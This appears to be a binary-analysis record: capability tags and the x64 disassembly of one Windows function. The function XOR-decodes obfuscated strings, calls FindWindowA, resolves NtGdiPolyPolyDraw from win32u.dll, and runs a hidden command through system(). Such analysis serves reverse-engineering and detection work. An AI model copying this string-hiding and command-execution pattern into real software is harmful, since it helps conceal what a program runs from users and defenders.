Function at 0x1400a2a20
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
push rbp
lea rbp, [r11 - 0x18]
sub rsp, 0x110
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movaps xmmword [r11 - 0x38], xmm8
movaps xmmword [r11 - 0x48], xmm9
movaps xmmword [r11 - 0x58], xmm10
mov rax, qword [0x1400cd040]
xor rax, rsp
mov qword [rbp - 0x50], rax
mov esi, dword [0x1400cd090]
mov dil, 1
movdqa xmm9, xmmword [0x1400c1f40]
xor r14d, r14d
movdqa xmm8, xmmword [0x1400c1f90]
movdqa xmm10, xmmword [0x1400c1f30]
movdqa xmm7, xmmword [0x1400c2360]
movdqa xmm6, xmmword [0x1400c1ef0]
mov qword [r11 + 8], rbx
nop dword [rax]
cmp qword [0x1400ce020], r14
jne 0x1400a2af2
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1400a2acd
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400a2b45
lea rdx, str.NtGdiPolyPolyDraw
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400ce020], rax
test rax, rax
jne 0x1400a2af2
mov qword [0x1400ce020], r14
jmp 0x1400a2b45
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [0x1400cf8a8]
xorps xmm0, xmm0
test eax, eax
mov edx, 4
movups xmmword [rsp + 0x70], xmm0
cmovne ecx, eax
mov dword [rsp + 0x78], ecx
lea rcx, [rsp + 0x70]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
call fcn.1400adc90
test al, al
mov rbx, r14
cmovne rbx, qword [rbp - 0x78]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp rbx, rax
je 0x1400a2f2f
mov eax, dword [0x1400c13a0]
mov r8d, r14d
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1400c13a4]
mov byte [rsp + 0x3c], al
movups xmm0, xmmword [str.nxvtnpk]
movups xmmword [rsp + 0x28], xmm0
cmp esi, 2
jl 0x1400a2c6f
movdqa xmmword [rsp + 0x40], xmm8
lea rcx, [rsp + 0x2c]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400a2b82
cmp r8d, 0x15
jge 0x1400a2cb1
movsxd rax, r8d
lea r9, [rsp + 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1400a2c80
xor edx, edx
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400a2f2f
test dil, dil
je 0x1400a2aa0
cmp byte [0x1400c1357], r14b
mov eax, dword [str._UI_c_ageJP2]
mov dword [rsp + 0x20], eax
je 0x1400a2d91
cmp esi, 2
jl 0x1400a2d4a
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
jmp 0x1400a2d91
lea r9, [rsp + 0x20]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x1400a2d60
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x1400c1389], r14b
movups xmm0, xmmword [0x1400c1370]
movzx eax, word [0x1400c1388]
mov word [rsp + 0x68], ax
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [str.__8_c_aZQ]
movsd qword [rsp + 0x60], xmm0
je 0x1400a2f1d
mov ecx, r14d
cmp esi, 2
jl 0x1400a2eda
movdqa xmmword [rsp + 0x40], xmm8
lea rdx, [rsp + 0x54]
mov r8d, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm6
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x1400a2df0
cmp ecx, 0x1a
jge 0x1400a2f1d
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x38
xor byte [r8 - 1], al
cmp ecx, 0x1a
jl 0x1400a2ef0
lea rcx, [rsp + 0x50]
call fcn.140052330
xor dil, dil
jmp 0x1400a2aa0
mov rbx, qword [rsp + 0x120]
mov rcx, qword [rbp - 0x50]
xor rcx, rsp
call fcn.1400adec0
lea r11, [rsp + 0x110]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop rbp
ret